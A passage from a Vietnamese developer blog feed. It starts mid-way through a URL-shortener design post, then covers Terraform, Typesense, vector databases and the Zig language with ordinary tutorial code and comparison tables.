    if long_url:
        return long_url
    
    # Cache miss → query DB
    row = db.query("SELECT long_url FROM urls WHERE short_code = %s", short_code)
    if row:
        r.setex(f"url:{short_code}", 86400, row['long_url'])  # TTL 24h
        return row['long_url']
    
    return None

Cache TTL

Hot URLs: TTL dài (7 ngày), refresh mỗi lần access
Cold URLs: TTL ngắn (1 giờ)
LRU eviction khi đầy

Cache Estimations

10K reads/sec, 80% cache hit → 8000 từ cache, 2000 từ DB. Với Redis cluster 3 node, mỗi node ~10GB RAM, chịu được ~50M entries.

Database Sharding

Khi URLs > 1 tỷ, cần shard.

Shard key: short_code (hash modulo N shards)

def get_shard(short_code: str) -> int:
    return murmurhash(short_code) % NUM_SHARDS

Vấn đề: thêm shard cần rebalance → consistent hashing.

Rate Limiting

Prevent abuse — giới hạn tạo URL mới:

# Token bucket: 100 URLs/hour/user
def can_create_url(user_id: str) -> bool:
    key = f"rate:{user_id}:{datetime.now().hour}"
    count = r.incr(key)
    if count == 1:
        r.expire(key, 3600)  # TTL 1 giờ
    return count <= 100

Implementation Đơn Giản (Flask + Redis + PostgreSQL)

from flask import Flask, request, redirect, jsonify
import redis, base62, psycopg2

app = Flask(__name__)
r = redis.Redis(decode_responses=True)

@app.route('/shorten', methods=['POST'])
def shorten():
    data = request.json
    long_url = data['long_url']
    
    # Sinh short code
    next_id = r.incr('global_counter')
    short_code = base62.encode(next_id)
    
    # Lưu DB
    cur = db.cursor()
    cur.execute(
        "INSERT INTO urls (short_code, long_url) VALUES (%s, %s)",
        (short_code, long_url)
    )
    db.commit()
    
    # Cache
    r.setex(f"url:{short_code}", 86400, long_url)
    
    return jsonify({'short_url': f'https://short.ly/{short_code}'})

@app.route('/<short_code>')
def redirect_url(short_code):
    # Check cache
    long_url = r.get(f"url:{short_code}")
    
    if not long_url:
        cur = db.cursor()
        cur.execute("SELECT long_url FROM urls WHERE short_code = %s", (short_code,))
        row = cur.fetchone()
        if not row:
            return "Not found", 404
        long_url = row[0]
        r.setex(f"url:{short_code}", 86400, long_url)
    
    # Analytics async (Kafka hoặc queue)
    send_click_event(short_code, request)
    
    return redirect(long_url, code=302)

Evolution

V1: PostgreSQL + Redis (1M URLs/month)
    └── Đơn giản, đủ dùng cho MVP

V2: Add sharding + read replicas (100M URLs/month)
    └── Scale DB, cache cluster

V3: Add Kafka + ClickHouse (1B URLs/month)
    └── Analytics riêng, không ảnh hưởng redirect path

V4: Global load balancer + multi-region (10B+ URLs/month)
    └── Geo-routing, global Redis, active-active DB

Bắt đầu đơn giản, scale dần. Không cần Kafka và ClickHouse từ ngày đầu.

Tổng Kết

URL shortener tưởng đơn giản nhưng dạy nhiều concept quan trọng:

Base62 encoding — sinh short code
Caching — Redis, TTL, LRU
Database sharding — consistent hashing
HTTP redirect — 301 vs 302
Rate limiting — token bucket
Analytics — async processing
Evolution — từ simple đến global scale

Tài liệu tham khảo

Terraform — Infrastructure As Code Cho Developer Hiện Đại

Wed, 01 Jul 2026 00:00:00 GMT

Trước đây, quản lý hạ tầng là mở web console → click → nhập → nhớ. Mỗi server là một "snowflake" — cấu hình riêng, không ai dám chạm. Terraform thay đổi tất cả: hạ tầng là code, phiên bản hoá được, review được, tái tạo được.

Terraform Là Gì?

Terraform là Infrastructure as Code (IaC) tool của HashiCorp. Bạn định nghĩa tài nguyên (VM, database, DNS, CDN) trong file HCL, Terraform biến chúng thành hiện thực.

main.tf
  |
  v
Terraform plan → Terraform apply
  |
  v
AWS / Cloudflare / GCP / Azure

Thay vì click 20 lần trong console để setup một server + database + DNS — bạn viết 30 dòng code và chạy terraform apply.

Tại Sao IaC?

| Trước đây | Với Terraform | |---|---| | Click UI, không lưu lịch sử | Code trong Git, full audit trail | | Cấu hình "snowflake" khác nhau | Môi trường giống hệt nhau | | Rollback = click ngược | git revert + terraform apply | | Setup mất vài giờ | terraform apply vài phút | | Sợ xoá instance | Destroy và recreate dễ dàng |

HCL Cơ Bản

Terraform dùng HCL (HashiCorp Configuration Language) — declarative, đọc được bằng tiếng Anh:

# main.tf
terraform {
  required_providers {
    aws = {
      source  = "hashicorp/aws"
      version = "~> 5.0"
    }
  }
}

provider "aws" {
  region = "ap-southeast-1"
}

resource "aws_instance" "web" {
  ami           = "ami-0c55..."
  instance_type = "t3.micro"

  tags = {
    Name = "web-server"
  }
}

Chạy:

terraform init # Tải provider
terraform plan # Xem những gì sẽ thay đổi
terraform apply # Thực thi

State Management

Terraform lưu trạng thái hạ tầng hiện tại trong state file. State là trái tim của Terraform — nó biết resource nào đã tồn tại, resource nào cần tạo.

{
  "version": 4,
  "resources": [{
    "type": "aws_instance",
    "name": "web",
    "instances": [{
      "attributes": {
        "id": "i-123456",
        "public_ip": "54.123.45.67"
      }
    }]
  }]
}

Không bao giờ lưu state local. Dùng remote backend:

terraform {
  backend "s3" {
    bucket = "my-terraform-state"
    key    = "prod/terraform.tfstate"
    region = "ap-southeast-1"
  }
}

Hoặc dùng Terraform Cloud / Cloudflare R2 / GCS.

Module — Tái Sử Dụng

Module là package Terraform. Thay vì copy-paste, bạn gọi module:

module "vpc" {
  source = "terraform-aws-modules/vpc/aws"
  version = "5.0"
  
  name = "my-vpc"
  cidr = "10.0.0.0/16"
}

module "web_app" {
  source = "./modules/web-app"
  
  vpc_id     = module.vpc.vpc_id
  subnet_ids = module.vpc.public_subnets
}

Module có thể từ registry, GitHub, hoặc local path.

Workspace — Nhiều Môi Trường

Dùng workspace để quản lý dev / staging / prod:

terraform workspace new dev
terraform workspace new staging
terraform workspace new prod
terraform workspace select dev
terraform apply

resource "aws_instance" "web" {
  instance_type = terraform.workspace == "prod" ? "t3.large" : "t3.micro"
}

Ví Dụ: Cloudflare + AWS

# Cloudflare DNS + AWS EC2

provider "cloudflare" {
  api_token = var.cloudflare_token
}

provider "aws" {
  region = "ap-southeast-1"
}

resource "aws_instance" "app" {
  ami           = "ami-0c55..."
  instance_type = "t3.micro"
  
  tags = { Name = "my-app-${terraform.workspace}" }
}

resource "cloudflare_record" "app" {
  zone_id = var.cloudflare_zone_id
  name    = "app"
  value   = aws_instance.app.public_ip
  type    = "A"
  proxied = true
}

Chạy terraform apply — Terraform tạo VM trên AWS và thêm DNS record trên Cloudflare trong một lần.

Variables Và Outputs

# variables.tf
variable "instance_type" {
  description = "EC2 instance type"
  type        = string
  default     = "t3.micro"
}

variable "environment" {
  type    = string
  validation {
    condition     = contains(["dev", "staging", "prod"], var.environment)
    error_message = "Must be dev, staging, or prod."
  }
}

# outputs.tf
output "public_ip" {
  value       = aws_instance.web.public_ip
  description = "Public IP of web server"
}

terraform apply -var="instance_type=t3.large" -var="environment=prod"

Best Practices

Remote state + locking

State backend + dynamodb lock để tránh conflict:

backend "s3" {
  bucket         = "tf-state"
  key            = "prod/terraform.tfstate"
  region         = "ap-southeast-1"
  dynamodb_table = "tf-lock"
}

Module hoá

Chia thành: modules/vpc, modules/database, modules/app.

Git workflow

main # Môi trường prod
├── staging # Môi trường staging
├── dev # Môi trường dev

Apply trong CI/CD, không apply local.

Lifecycle rules

resource "aws_db_instance" "main" {
  lifecycle {
    prevent_destroy = true  # Không cho terraform destroy
  }
}

Import existing resources

Có resource đã tạo tay? Import vào state:

terraform import aws_instance.web i-123456

So Sánh Với Các IaC Khác

| | Terraform | Pulumi | CloudFormation | |---|---|---|---| | Language | HCL | Python/TS/Go | JSON/YAML | | State | Remote backend | Managed | AWS quản lý | | Multi-cloud | AWS, GCP, Azure, CF | AWS, GCP, Azure | AWS only | | Learning curve | Trung bình | Thấp (nếu biết ngôn ngữ) | Cao | | Community | Lớn nhất | Đang phát triển | AWS ecosystem |

Kết Luận

Terraform là kỹ năng bắt buộc nếu bạn làm backend hoặc DevOps năm 2026. Git cho code, Terraform cho hạ tầng — hai thứ không thể thiếu.

Bắt đầu: một EC2 instance + Cloudflare DNS. Module hoá khi cần tái sử dụng. Remote state + locking cho team. CI/CD cho apply tự động.

Tài liệu tham khảo

Typesense — Search Engine Nguồn Mở Cho Ứng Dụng Hiện Đại

Wed, 01 Jul 2026 00:00:00 GMT

Tìm kiếm là một trong những tính năng khó làm đúng nhất. Elasticsearch quá nặng để setup và vận hành. Algolia quá đắt khi scale. Typesense là lựa chọn thứ ba — mã nguồn mở, chạy nhanh, dễ deploy, và đầy đủ tính năng hiện đại.

Typesense Là Gì?

Typesense là search engine mã nguồn mở (GPL-3.0, 26k+ sao GitHub), viết bằng C++. Nó được thiết kế để thay thế Algolia (cho người muốn tự host) và Elasticsearch (cho người muốn đơn giản hơn).

Một binary duy nhất, không runtime dependency, chạy ngay với một câu lệnh.

Tính Năng Chính

Tìm Kiếm Cơ Bản

Typo Tolerance — Xử lý lỗi chính tả ngay khi đánh, không cần cấu hình
Tunable Ranking — Tuỳ chỉnh ranking theo ý muốn
Sorting — Sort theo field dynamic
Faceting & Filtering — Lọc và phân loại kết quả
Grouping & Distinct — Nhóm kết quả tương tự
Federated Search — Search nhiều collection trong một request
Geo Search — Tìm kiếm quanh toạ độ / trong bounding box
JOINs — Kết nối collection qua reference field

AI & Hiện Đại

Vector Search — Tìm nearest neighbor cho embedding
Semantic / Hybrid Search — Tự động sinh embedding từ S-BERT, E-5, hoặc OpenAI, PaLM
Conversational Search (RAG) — Đặt câu hỏi, Typesense trả lời bằng câu hoàn chỉnh dựa trên dữ liệu của bạn
Natural Language Search — Chuyển đổi câu hỏi tự nhiên thành filter và sort
Image Search — Tìm ảnh bằng mô tả văn bản qua CLIP model
Voice Search — Ghi âm giọng nói, Typesense nhận dạng qua Whisper và tìm kiếm

Hạ Tầng

Scoped API Keys — API key chỉ truy cập một số record nhất định
Synonyms — Từ đồng nghĩa
Curation & Merchandizing — Boost record lên vị trí cố định
Raft-based Clustering — Cluster phân tán, high availability
No Runtime Dependencies — Một binary duy nhất

Hiệu Năng

Kết quả benchmark trên server 4 vCPU:

| Dataset | Records | RAM | Index time | Throughput | Latency | |---|---|---|---|---|---| | Recipes | 2.2M | 900MB | 3.6min | 104 qps | 11ms | | Books (OpenLibrary) | 28M | 14GB | 78min | 46 qps | 28ms | | Amazon Products | 3M | — | — | 250 qps | — |

Typesense Cloud phục vụ 10 tỷ search mỗi tháng. Docker images đã được download hơn 12 triệu lần.

So Sánh Với Elasticsearch

| Tiêu chí | Typesense | Elasticsearch | |---|---|---| | Ngôn ngữ | C++ (single binary) | Java (JVM) | | Config | Smart defaults, ít config | Hàng ngàn tham số | | Setup | Docker một lệnh | Phức tạp, cần tuning JVM | | Dùng cho | Search UX, ứng dụng | Logs, billions docs | | RAM khi mới start | ~30MB | ~1GB+ |

So Sánh Với Algolia

| Tiêu chí | Typesense | Algolia | |---|---|---| | Loại | Open source, tự host / cloud | SaaS, proprietary | | Chi phí | Fixed hourly (Typesense Cloud) | Theo records + operations | | Sort order | Một index đa sort | Nhiều index = tốn memory | | Config | Query time | Index time |

Quick Start

Chạy Typesense với Docker:

docker run -p 8108:8108 -v/tmp/data:/data \
  typesense/typesense:30.2 \
  --data-dir /data \
  --api-key=Hu52dwsas2AdxdE

Tạo collection và index document (Python):

import typesense

client = typesense.Client({
  'api_key': 'Hu52dwsas2AdxdE',
  'nodes': [{
    'host': 'localhost', 'port': '8108', 'protocol': 'http'
  }],
  'connection_timeout_seconds': 2
})

# Tạo collection
client.collections.create({
  "name": "companies",
  "fields": [
    {"name": "company_name", "type": "string"},
    {"name": "num_employees", "type": "int32"},
    {"name": "country", "type": "string", "facet": True}
  ],
  "default_sorting_field": "num_employees"
})

# Index document
client.collections['companies'].documents.create({
  "id": "124",
  "company_name": "Stark Industries",
  "num_employees": 5215,
  "country": "USA"
})

# Search — có typo vẫn tìm được
client.collections['companies'].documents.search({
  'q': 'stork',
  'query_by': 'company_name',
  'filter_by': 'num_employees:>100',
  'sort_by': 'num_employees:desc'
})

stork vẫn tìm ra Stark Industries — typo tolerance hoạt động ngay khi đánh sai.

Framework Integrations

Typesense có sẵn client cho hầu hết ngôn ngữ — JavaScript, Python, PHP, Ruby, Go, Java, Rust, Dart — và tích hợp với Laravel, WordPress, WooCommerce, Docusaurus, Gatsby, Symfony, InstantSearch, Firebase.

Live Demos

Typesense cung cấp nhiều demo thực tế trên các dataset lớn:

Kết Luận

Typesense là search engine lý tưởng nếu bạn cần search nhanh, dễ deploy, không muốn quản lý Elasticsearch phức tạp hay trả tiền Algolia đắt đỏ. Một binary C++, đầy đủ vector search + semantic search + RAG — đủ cho hầu hết ứng dụng cần tìm kiếm.

Tài liệu tham khảo

Typesense Là Gì? Search Engine Nhanh, Nhẹ Cho App Hiện Đại

Wed, 01 Jul 2026 00:00:00 GMT

Trong nhiều ứng dụng web hiện nay, tính năng tìm kiếm là một phần rất quan trọng:

Website thương mại điện tử cần tìm sản phẩm nhanh
Blog cần tìm bài viết
SaaS cần tìm dữ liệu trong dashboard
Ứng dụng AI cần tìm kiếm knowledge base

Các database thông thường như PostgreSQL hoặc MySQL có thể hỗ trợ tìm kiếm cơ bản, nhưng khi dữ liệu lớn hơn, yêu cầu tìm kiếm thông minh hơn thì cần một search engine chuyên dụng.

Một trong những lựa chọn đang được nhiều developer quan tâm là Typesense.

Typesense Là Gì?

Typesense là một open-source search engine tập trung vào:

Tốc độ tìm kiếm cực nhanh
API đơn giản
Dễ deploy
Hỗ trợ typo tolerance (sửa lỗi chính tả)
Phù hợp cho autocomplete và instant search

Có thể hiểu đơn giản:

Typesense giống như một phiên bản nhẹ hơn, dễ dùng hơn của Elasticsearch.

Thay vì phải cấu hình rất nhiều thứ như Elasticsearch, Typesense hướng tới trải nghiệm developer:

Install → Import data → Search

Typesense Hoạt Động Như Thế Nào?

Typesense không thay thế database chính. Một kiến trúc phổ biến:

          User
             |
           Frontend
             |
         Typesense
             |
    -------------------
    |                 |
PostgreSQL          MySQL
 (hoặc API)    (hoặc MongoDB)

Database vẫn giữ dữ liệu chính. Typesense chỉ lưu một bản index để phục vụ tìm kiếm nhanh.

Ví dụ, dữ liệu trong database:

{
  "id": 1,
  "name": "iPhone 15 Pro",
  "description": "Điện thoại Apple mới nhất"
}

Được index vào Typesense:

{
  "id": "1",
  "name": "iPhone 15 Pro",
  "description": "Điện thoại Apple mới nhất"
}

Khi user search iphone 15, Typesense trả kết quả gần như ngay lập tức.

Tính Năng Nổi Bật

1. Typo Tolerance

Người dùng thường nhập sai. iphnoe thay vì iphone. Typesense vẫn hiểu và trả về sản phẩm phù hợp. Điều này rất quan trọng với ecommerce, search sản phẩm, documentation.

2. Instant Search

Typesense được thiết kế cho trải nghiệm gõ đến đâu search đến đó:

User types: macbo
            ↓
Result appears immediately

Không cần bấm nút Search. Phù hợp cho search bar, autocomplete, command palette.

3. API Đơn Giản

Tạo collection:

{
  "name": "products",
  "fields": [
    { "name": "name", "type": "string" },
    { "name": "price", "type": "int32" }
  ]
}

Search với JavaScript:

const results = await client
  .collections('products')
  .documents()
  .search({
    q: 'iphone',
    query_by: 'name'
  })

Rất ít config.

Typesense vs Elasticsearch

| Tiêu chí | Typesense | Elasticsearch | |---|---|---| | Setup | Dễ | Phức tạp | | Learning curve | Thấp | Cao | | Performance (nhỏ/vừa) | Rất nhanh | Nhanh | | Distributed system | Có | Rất mạnh | | Full text search | Tốt | Rất mạnh | | Analytics | Cơ bản | Mạnh | | Resource cần dùng | Ít | Nhiều |

Nếu bạn xây blog, ecommerce nhỏ, SaaS, startup MVP — Typesense thường là lựa chọn hợp lý hơn.

Nếu bạn xây search hàng tỷ document, log analytics, enterprise search — Elasticsearch có nhiều lợi thế hơn.

Typesense vs Algolia

Algolia là search service dạng SaaS.

| Tiêu chí | Typesense | Algolia | |---|---|---| | Open source | Có | Không | | Self-host | Có | Không | | Pricing | Server cost | Theo usage | | Control dữ liệu | Cao | Thấp hơn | | Setup | Cần tự quản lý | Rất dễ |

Nếu muốn không phụ thuộc vendor, host trên server riêng, kiểm soát dữ liệu — Typesense là lựa chọn tốt.

Cài Đặt Typesense Bằng Docker

Cách nhanh nhất:

docker run \
  -p 8108:8108 \
  -v /tmp/typesense-data:/data \
  typesense/typesense:27.0 \
  --data-dir /data \
  --api-key=xyz

Sau đó truy cập:

http://localhost:8108

API:

GET /collections

Kết Nối JavaScript

Cài SDK:

npm install typesense

Config:

import Typesense from 'typesense'

const client = new Typesense.Client({
  nodes: [{
    host: 'localhost',
    port: '8108',
    protocol: 'http'
  }],
  apiKey: 'xyz'
})

Search:

const result = await client
  .collections('products')
  .documents()
  .search({
    q: 'iphone',
    query_by: 'name'
  })

console.log(result)

Typesense Phù Hợp Với Dự Án Nào?

Blog — Search bài viết theo nội dung:

Search: "react hook"
→ Bài viết: "React useEffect và useState"

Ecommerce — Search sản phẩm có typo:

iphone 15 black
→ iPhone 15 Pro Max Black
→ iPhone 15 Case Black

SaaS Dashboard — Search dữ liệu nhanh:

customer@email.com
invoice 2026
project name

Documentation — Search tài liệu:

authentication jwt
→ JWT Authentication Guide
→ API Token Documentation

Khi Nào Không Nên Dùng Typesense?

Không cần Typesense nếu:

Database nhỏ
Chỉ search chính xác
Ít dữ liệu
Không cần typo tolerance

Ví dụ một câu query đơn giản là đủ:

SELECT * FROM users WHERE email = 'abc@gmail.com'

Kết Luận

Typesense là search engine hiện đại, nhẹ và developer-friendly.

Điểm mạnh:

Tốc độ tìm kiếm rất nhanh
API đơn giản
Deploy dễ bằng Docker
Mã nguồn mở
Typo tolerance tốt

Với các dự án blog, ecommerce, SaaS hoặc startup MVP, Typesense là lựa chọn đáng cân nhắc thay vì phải triển khai Elasticsearch phức tạp.

Nếu cần một search engine chạy được nhanh, ít đau đầu — Typesense là một trong những lựa chọn tốt hiện nay.

Tài liệu tham khảo

Vector Database — Qdrant, Chroma, Pinecone Cho AI

Wed, 01 Jul 2026 00:00:00 GMT

Ứng dụng AI hiện đại không thể thiếu RAG (Retrieval-Augmented Generation). Nhưng RAG cần một nơi để lưu hàng triệu embedding và tìm ra cái phù hợp nhất trong milliseconds. Đó là lúc vector database xuất hiện.

Bài viết này giải thích vector database là gì, so sánh các lựa chọn hàng đầu năm 2026, và chỉ bạn cách bắt đầu.

Embedding Là Gì?

Trước khi nói về vector database, cần hiểu embedding.

Embedding là cách biểu diễn văn bản, ảnh, âm thanh thành một dãy số (vector) trong không gian nhiều chiều:

"Tôi thích mèo" → [0.12, -0.45, 0.78, ..., 0.33]  (768-1536 chiều)
"Tôi thích chó" → [0.10, -0.42, 0.80, ..., 0.30]  (gần nhau)
"Máy tính"     → [0.90, -0.10, -0.20, ..., 0.85]  (xa hơn)

Hai câu có nghĩa gần nhau sẽ có vector gần nhau trong không gian. Công việc của vector database là tìm ra những vector "gần nhất" với vector truy vấn.

Vector Database Là Gì?

Vector database là hệ thống lưu trữ và tìm kiếm vector. Khác với database truyền thống — nơi bạn tìm record có giá trị chính xác — vector database tìm record tương tự nhất về mặt ngữ nghĩa.

Database truyền thống:  SELECT * FROM products WHERE name = 'iPhone'
Vector database:        SELECT * FROM products WHERE embedding NEAR query_embedding

Kết quả trả về theo độ tương tự (score), không phải khớp chính xác. Điều này rất hữu ích cho:

RAG — Tìm tài liệu liên quan cho LLM
Semantic search — Tìm kiếm theo ý nghĩa, không từ khoá
Recommendation — Gợi ý sản phẩm tương tự
Image search — Tìm ảnh bằng ảnh hoặc mô tả
Anomaly detection — Phát hiện bất thường

ANN Và HNSW

Vector database không so sánh từng cặp vector (quá chậm với hàng triệu vector). Thay vào đó, chúng dùng ANN (Approximate Nearest Neighbor) — thuật toán xấp xỉ tìm hàng xóm gần nhất.

Giải pháp phổ biến nhất hiện nay là HNSW (Hierarchical Navigable Small World) — xây dựng cấu trúc đồ thị nhiều tầng để duyệt nhanh:

Layer cao nhất: vài node, duyệt nhanh
Layer thấp hơn: nhiều node hơn, chi tiết hơn
Từ trên xuống dưới, thu hẹp dần phạm vi tìm kiếm

HNSW trade-off giữa recall và speed qua tham số ef và M. Càng nhiều node duyệt, recall càng cao nhưng latency cũng tăng.

Các Vector Database Hàng Đầu 2026

Bốn cái tên thống trị thị trường vector database năm 2026:

Qdrant

Viết bằng Rust, mã nguồn mở (Apache 2.0). Tập trung vào hiệu năng và filter.

Latency p95: 22ms (nhanh nhất khi có filter)
Self-host: Một binary Rust, Docker đơn giản
Managed: Qdrant Cloud (~$45/tháng cho 10M vectors)
Filter: Indexed-payload pre-filter, nhanh nhất trong các lựa chọn
Hybrid search: Dense + sparse vector, hỗ trợ quantization
Memory: Ít hơn 2-3x so với đối thủ Go

Điểm yếu: Ít integration plug-and-play hơn Pinecone và Weaviate.

Chroma

Viết bằng Rust (từ bản rewrite 2025), mã nguồn mở. Tập trung vào developer experience.

Setup: pip install chromadb — chạy local trong 5 dòng code
Self-host: Nhúng trong process Python/Node, không cần Docker
Managed: Chroma Cloud (mới, còn non)
Scale: Phù hợp prototype < 1M vectors
Filter: Pre-filter, không mạnh bằng Qdrant

Điểm yếu: Không có HA, không sparse vector, không quantization. Dùng để prototype rồi migrate.

Pinecone

SaaS thuần (không open source, không self-host). Tập trung vào zero-ops.

Latency p95: ~45ms (cộng thêm network latency)
Managed: Serverless, không cần quản lý gì
Giá: ~$70-100/tháng cho 10M vectors
Filter: Metadata filtering, cải thiện nhưng vẫn kém Qdrant
Giới hạn: 20K dimensions, lock-in vendor

Điểm yếu: Đắt khi scale, không tự host được.

Weaviate

Viết bằng Go, mã nguồn mở. Tập trung vào hybrid search và knowledge graph.

Hybrid search: BM25 + vector fusion — mạnh nhất
Built-in vectorization: Tự sinh embedding, không cần gọi API ngoài
Managed: Weaviate Cloud (~$45/tháng)
Latency: ~50ms p95
GraphQL API: Query linh hoạt

Điểm yếu: Go runtime dùng nhiều RAM hơn Qdrant, setup phức tạp hơn.

So Sánh Chi Tiết

| Tiêu chí | Qdrant | Chroma | Pinecone | Weaviate | |---|---|---|---|---| | Ngôn ngữ | Rust | Python/Rust | C++ | Go | | Open source | Apache 2.0 | Apache 2.0 | Không | BSD-3 | | Self-host | Có | Có | Không | Có | | Managed | Qdrant Cloud | Chroma Cloud | Serverless | Weaviate Cloud | | P95 latency | 22ms | N/A (prototype) | 45ms | ~50ms | | Filter | Tốt nhất | Cơ bản | Khá | Khá | | Hybrid search | Sparse+dense | Không native | Sparse-dense | Native BM25+vector | | Quantization | Scalar, binary, PQ | Không | Có (managed) | Scalar, binary | | GIá (10M vectors) | ~$45/th | Miễn phí (self) | ~$70-100/th | ~$45/th |

Quick Start: Qdrant Với Docker

Qdrant là lựa chọn mặc định cho production RAG năm 2026. Khởi chạy đơn giản:

docker run -p 6333:6333 qdrant/qdrant

Sau đó có thể dùng REST API hoặc SDK. Ví dụ với JavaScript:

npm install @qdrant/js-client-rest

import { QdrantClient } from '@qdrant/js-client-rest'

const client = new QdrantClient({ host: 'localhost', port: 6333 })

// Tạo collection
await client.createCollection('products', {
  vectors: { size: 768, distance: 'Cosine' }
})

// Upsert vector
await client.upsert('products', {
  points: [{
    id: 1,
    vector: [0.12, -0.45, 0.78, ...],   // embedding 768 chiều
    payload: { name: 'iPhone 15 Pro', price: 999 }
  }]
})

// Search vector gần nhất
const results = await client.search('products', {
  vector: [0.10, -0.42, 0.80, ...],
  limit: 5
})

Quick Start: Chroma Cho Prototype

Chroma dùng để chạy thử nhanh:

pip install chromadb

import chromadb

client = chromadb.Client()
collection = client.create_collection("products")

collection.add(
    documents=["iPhone 15 Pro mới nhất", "Samsung Galaxy S24"],
    metadatas=[{"price": 999}, {"price": 899}],
    ids=["prod_1", "prod_2"]
)

results = collection.query(
    query_texts=["điện thoại Apple"],
    n_results=5
)

Khi Nào Dùng Cái Nào?

Prototype / học tập → Chroma

Không cần Docker, không cần server. pip install là chạy. Dùng để thử nghiệm embedding, kiểm tra RAG pipeline.

Sản phẩm thật, đội nhóm nhỏ → Qdrant Cloud

Cân bằng tốt nhất giữa performance, cost, và độ phức tạp vận hành. Self-host nếu muốn tiết kiệm hơn.

Không muốn động đến infrastructure → Pinecone Serverless

Trả tiền để không phải nghĩ về server. Phù hợp startup có vốn, cần speed to market.

Cần hybrid search (BM25 + vector) → Weaviate

Khi keyword search vẫn quan trọng song song với semantic search — documentation search, enterprise search.

Kết Luận

Vector database là hạ tầng không thể thiếu cho ứng dụng AI hiện đại. Năm 2026, lựa chọn đã rõ ràng:

Prototype: Chroma — zero setup
Production RAG: Qdrant — nhanh nhất, rẻ nhất khi self-host
Zero ops: Pinecone — trả tiền lấy tiện
Hybrid search: Weaviate — BM25 + vector

Qdrant là lựa chọn mặc định cho hầu hết team: mã nguồn mở, Rust, filter nhanh nhất, quantization sẵn, và Qdrant Cloud giá cạnh tranh. Việc còn lại là chọn embedding model phù hợp và bắt đầu xây dựng.

Tài liệu tham khảo

Zig — Comptime, Allocator, Và Systems Programmer Cần Biết

Wed, 01 Jul 2026 00:00:00 GMT

Trong thế giới systems programming, C thống trị suốt 50 năm. Rust đến và giải quyết memory safety nhưng kèm learning curve dốc. Zig chọn một con đường khác: giữ sự đơn giản của C, thêm safety checks, và đặc biệt là comptime — meta-programming không cần macro hay code generator.

Zig Là Gì?

Zig là ngôn ngữ systems programming, tương tự C nhưng hiện đại hơn. Không GC, không runtime, không hidden control flow. Một binary duy nhất (zig) tích hợp sẵn compiler, build system, cross-compiler, và C/C++ compiler.

Những dự án dùng Zig sản xuất:

Bun — JavaScript runtime, dùng Zig cho FFI, SQLite bindings, và hot path
TigerBeetle — Financial transaction database, xử lý hàng tỷ giao dịch
Ghostty — Terminal emulator mới, dùng Zig cho performance
NullClaw — AI assistant infrastructure, binary 678KB, RAM ~1MB

Comptime — Sát Thủ Của Zig

comptime là tính năng quan trọng nhất của Zig. Nó cho phép chạy Zig code tại compile time, và kết quả có thể dùng làm type, constant, hoặc code:

fn max(comptime T: type, a: T, b: T) T {
    if (a > b) return a else return b
}

// Dùng với nhiều kiểu khác nhau
const x = max(i32, 10, 20);    // i32
const y = max(f64, 3.14, 2.71); // f64
// Compiler tự động sinh ra hai hàm riêng biệt

Không giống C macro (xử lý text, dễ lỗi) hay Rust proc macro (ngôn ngữ riêng, compile step riêng) — comptime dùng cùng một ngôn ngữ Zig, cùng type system, cùng error messages.

// Kiểm tra điều kiện tại compile time
fn mustBePositive(x: i32) i32 {
    comptime {
        if (x <= 0) @compileError("x must be positive!");
    }
    return x;
}

// Sinh type từ dữ liệu
fn Vector(comptime dim: u32) type {
    return struct {
        data: [dim]f64,
        
        fn length(self: @This()) f64 {
            var sum: f64 = 0;
            for (self.data) |v| sum += v * v;
            return @sqrt(sum);
        }
    };
}

const Vec3 = Vector(3);  // Type được sinh tại comptime

Allocator — Memory Management Minh Bạch

Zig không có GC, không RAII, không borrow checker. Thay vào đó: mọi function dùng memory đều nhận allocator làm tham số.

fn readFile(allocator: std.mem.Allocator, path: []const u8) ![]u8 {
    const file = try std.fs.cwd().openFile(path, .{});
    defer file.close();
    
    const content = try file.readToEndAlloc(allocator, 1_000_000);
    return content;
    // Caller chịu trách nhiệm free
}

Các allocator có sẵn:

| Allocator | Mục đích | |---|---| | GeneralPurposeAllocator | Debug (phát hiện leak/double-free) | | page_allocator | OS page (gọi mmap trực tiếp) | | ArenaAllocator | Free tất cả cùng lúc | | FixedBufferAllocator | Pre-allocated buffer | | StackAllocator | LIFO allocation |

Arena Pattern (Quan Trọng Nhất)

Arena là pattern phổ biến trong Zig — allocate nhiều lần, free một lần:

fn handleRequest() !void {
    var arena = std.heap.ArenaAllocator.init(std.heap.page_allocator);
    defer arena.deinit();  // Dọn tất cả khi thoát
    
    const alloc = arena.allocator();
    
    const name = try alloc.dupe(u8, "Alice");
    const data = try alloc.alloc(u8, 1024);
    // Không cần free từng cái — arena.deinit() dọn hết
}

Bun dùng arena này cho mỗi HTTP request. TigerBeetle dùng cho mỗi transaction. Kết quả: gần như zero malloc/free overhead.

So Sánh Với C

| Tính năng | C | Zig | |---|---|---| | Memory | malloc/free | Allocator interface | | Safety | Không | Runtime checks (debug), bounds check | | Generic | Macro (#define) | comptime (type-safe) | | Build | Make/CMake | build.zig (tích hợp) | | Cross-compile | Toolchain riêng | zig cc (built-in) | | Slice | Pointer + size thủ công | []u8 (built-in, bounds-checked) | | Defer | Không | defer / errdefer | | Error handling | errno | Error union (! type) | | Optionals | NULL pointer | ?T (optional type) |

So Sánh Với Rust

| Tính năng | Rust | Zig | |---|---|---| | Safety model | Compile-time borrow check | Runtime checks (debug, tắt ở release) | | Learning curve | Cao (ownership, lifetime) | Thấp (C-like mental model) | | Metaprogramming | Proc macro (ngôn ngữ riêng) | comptime (cùng ngôn ngữ) | | Memory | RAII + ownership | Explicit allocator passing | | Hidden control flow | Drop, deref coercion, implicit move | None by design | | Compile time | Chậm (monomorphization) | Nhanh | | C interop | FFI + unsafe | First-class (shared ABI) | | Binary size | Lớn (monomorph + std) | Nhỏ (chỉ code dùng) |

Code Cụ Thể

Đọc File

const std = @import("std");

pub fn main() !void {
    var gpa = std.heap.GeneralPurposeAllocator(.{}){};
    defer _ = gpa.deinit();
    const alloc = gpa.allocator();
    
    const args = try std.process.argsAlloc(alloc);
    defer std.process.argsFree(alloc, args);
    
    if (args.len < 2) {
        try std.io.getStdOut().writeAll("Usage: cat-file <file>\n");
        return;
    }
    
    const content = try std.fs.cwd().readFileAlloc(alloc, args[1], 10_000_000);
    defer alloc.free(content);
    
    try std.io.getStdOut().writeAll(content);
}

ArrayList

const std = @import("std");
const testing = std.testing;

test "ArrayList basic" {
    var list = std.ArrayList(i32).init(testing.allocator);
    defer list.deinit();
    
    try list.append(10);
    try list.append(20);
    try list.append(30);
    
    try testing.expectEqual(10, list.items[0]);
    try testing.expectEqual(@as(usize, 3), list.items.len);
}

Zig có testing built-in — không cần thư viện ngoài.

Cross-Compile Với zig cc

